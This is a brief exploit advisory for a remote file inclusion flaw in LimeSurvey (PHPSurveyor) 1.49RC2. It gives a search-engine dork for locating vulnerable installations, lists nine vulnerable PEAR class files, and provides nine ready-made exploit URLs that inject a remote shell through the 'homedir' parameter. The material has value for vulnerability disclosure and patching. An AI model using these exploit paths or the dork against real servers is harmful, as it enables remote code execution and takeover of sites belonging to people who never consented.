LimeSurvey (PHPSurveyor) 1.49RC2 Remote File Inclusion Vulnerability

## Owner : Pr0T3cT10n ## Email : Pr0T3cT10n@Gmail.Com ## Homepage : www.kamikaz-team.com ## Script site : www.limesurvey.org ## Script name : LimeSurvey (PHPSurveyor) ## Version : 1.49RC2 ## Type : RFI(Remote File Include) ## Source : http://sourceforge.net/project/showfiles.php?group_id=74605 ## D0rk : "You have not provided a survey identification number" ## Bug : ## Files : ## /admin/classes/pear/OLE/PPS/File.php ## /admin/classes/pear/OLE/PPS/Root.php ## /admin/classes/pear/Spreadsheet/Excel/Writer.php ## /admin/classes/pear/OLE/PPS.php ## /admin/classes/pear/Spreadsheet/Excel/Writer/Worksheet.php ## /admin/classes/pear/Spreadsheet/Excel/Writer/Parser.php ## /admin/classes/pear/Spreadsheet/Excel/Writer/Workbook.php ## /admin/classes/pear/Spreadsheet/Excel/Writer/Format.php ## /admin/classes/pear/Spreadsheet/Excel/Writer/BIFFwriter.php ## Exploit : ## /admin/classes/pear/OLE/PPS/File.php?homedir=[shell] ## /admin/classes/pear/OLE/PPS/Root.php?homedir=[shell] ## /admin/classes/pear/Spreadsheet/Excel/Writer.php?homedir=[shell] ## /admin/classes/pear/OLE/PPS.php?homedir=[shell] ## /admin/classes/pear/Spreadsheet/Excel/Writer/Worksheet.php?homedir=[shell] ## /admin/classes/pear/Spreadsheet/Excel/Writer/Parser.php?homedir=[shell] ## /admin/classes/pear/Spreadsheet/Excel/Writer/Workbook.php?homedir=[shell] ## /admin/classes/pear/Spreadsheet/Excel/Writer/Format.php?homedir=[shell] ## /admin/classes/pear/Spreadsheet/Excel/Writer/BIFFwriter.php?homedir=[shell] ## Thanks : str0ke